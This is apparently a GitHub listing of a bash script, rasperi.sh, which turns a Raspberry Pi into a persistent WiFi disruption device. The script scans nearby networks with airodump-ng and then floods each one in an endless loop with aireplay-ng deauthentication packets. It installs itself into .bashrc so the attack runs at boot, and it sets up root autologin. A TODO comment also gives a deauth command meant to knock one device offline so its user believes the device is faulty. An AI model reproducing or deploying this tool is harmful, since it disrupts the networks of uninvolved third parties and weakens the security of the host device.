-
Notifications
You must be signed in to change notification settings - Fork 0
/
rasperi.sh
196 lines (164 loc) · 4.69 KB
/
rasperi.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
#!/bin/bash
#TODO: Prevent a device from connecting to networks (aka make the user believe the device is problematic)
# aireplay-ng -0 $n -a $your_AP -c $mac $interface --ignore-negative-one
#TODO: Add a feature to target the closest WiFi in range. We'll play with PWR values in the scan file.
#TODO: Use /etc/rc.local instead of .bashrc
#TODO: Make autologin feature more safe (by keeping a backup and making a symlink to getty.target.wants)
#TODO: Fix indentation using only one editor
#this is your interface and since we use raspi0w, nexmon utilities use the same name for monitor mode
interface="wlan0"
#we use RAM to avoid flash memory wear out
working_folder="/dev/shm"
main()
{
start_mon
#check if script mode is chosen, otherwise prompt
if [[ $1 == "--haki" ]]; then
haki
elif [[ $1 == "--closest" ]]; then
#attack_closest
echo "WIP"
menu
else
menu
fi
}
create_working_folder()
{
if [ ! -d ""$working_folder"/perish_dump" ]
then
mkdir "$working_folder"/perish_dump
fi
}
print_menu()
{
clear
echo
echo " Startup Menu - Make modifications for startup"
echo
echo " 0 Uninstall any previous script"
echo " 1 Enable auto-login"
echo " 2 Disable auto-login"
echo
echo " Modes Menu - Install an attack mode at startup"
echo
echo " 3 Attack closest network only"
echo " 4 Disrupt the perimeter"
echo
echo -n " Choose an option : "
}
menu()
{
#print the menu and choose your option afterwards
print_menu
read option
clear
case $option in
0 )
#remove startup entry
sed -i '/\/rasperish\/rasperi.sh/d' ~/.bashrc
;;
1 )
enable_autologin
menu
;;
2 )
disable_autologin
menu
;;
3 )
echo
echo " [!] Mode is work in progress. Not available."
sleep 1
menu
#add start up entry if it doesn't exist
if [[ $(grep -o "rasperi.sh" ~/.bashrc) != "rasperi.sh" ]]; then
#include 15 seconds for safety, so you can ssh
echo "sleep 15; ./rasperish/rasperi.sh --closest" >> ~/.bashrc
fi
echo " [i] Closest mode enabled, will be available after reboot."
echo " [!] You have 15 seconds delay before the attacking after reboot,"
echo " so that you can connect and stop your pi."
sleep 4
;;
4 )
#add start up entry if it doesn't exist
if [[ $(grep -o "rasperi.sh" ~/.bashrc) != "rasperi.sh" ]]; then
#include 15 seconds for safety, so you can ssh
echo "sleep 15; ./rasperish/rasperi.sh --haki" >> ~/.bashrc
fi
echo " [i] Haki mode enabled, will be available after reboot."
echo " [!] You have 15 seconds delay before the attacking after reboot,"
echo " so that you can connect and stop your pi."
sleep 4
;;
* )
echo
echo " [!] Invalid option, try again"
sleep 1
menu
;;
esac
}
enable_autologin()
{
sed -i "/ExecStart/c\ExecStart=-/sbin/agetty -a root --noclear %I \$TERM" /lib/systemd/system/[email protected]
echo " [i] Enabled auto-login"
sleep 1
}
disable_autologin()
{
sed -i "/ExecStart/c\ExecStart=-/sbin/agetty -o '-p -- \\u' --noclear %I \$TERM" /lib/systemd/system/[email protected]
echo " [i] Enabled auto-login"
sleep 1
}
haki()
{
clear
#create the working directory, where we save our scan files temporarily
create_working_folder
echo " [i] Scanning continuously for networks... "
echo
#scan every n seconds
scan 5
while true
do
local i=1
while read essid
do
#get each corresponding channel for every essid found
channel=$(awk -F "\"*;\"*" '{print $6}' "$working_folder"/perish_dump/scan_data-01.kismet.csv | tail -n 2 | sed -n "${i}{p;q;}")
echo " [+] Synchronising card to channel: $channel"
#wait before sync'ing, because if it's done fast, the ioctrl of the driver goes crazy
sleep 2
#sync the card to the victim's channel
nexutil -k$channel > /dev/null 2>&1
echo " [+] Attacking $essid"
#send some deauth packets to each wifi network
aireplay-ng -0 5 -e $essid $interface --ignore-negative-one > /dev/null 2>&1
((i++))
done <<< $(awk -F "\"*;\"*" '{print $3}' "$working_folder"/perish_dump/scan_data-01.kismet.csv | tail -n 2)
done #loop when you are done
}
stop_mon()
{
nexutil -m0
}
start_mon()
{
#m2 is the correct mode, however it seems that there is a bug and in m2 mode sometimes nothing can be scanned
#doing this, solves that case
iw dev $interface set power_save off
nexutil -m0
nexutil -m2
}
scan()
{
scan_interval=$1
#start data dumping in the background every n seconds
airodump-ng $interface --output-format kismet --write ""$working_folder"/perish_dump/scan_data" --write-interval $scan_interval > /dev/null 2>&1 &
#add an initial hysteresis before starting in order to have data ready
sleep $scan_interval
}
#Here starts the script and passes the flag argument to it
main $1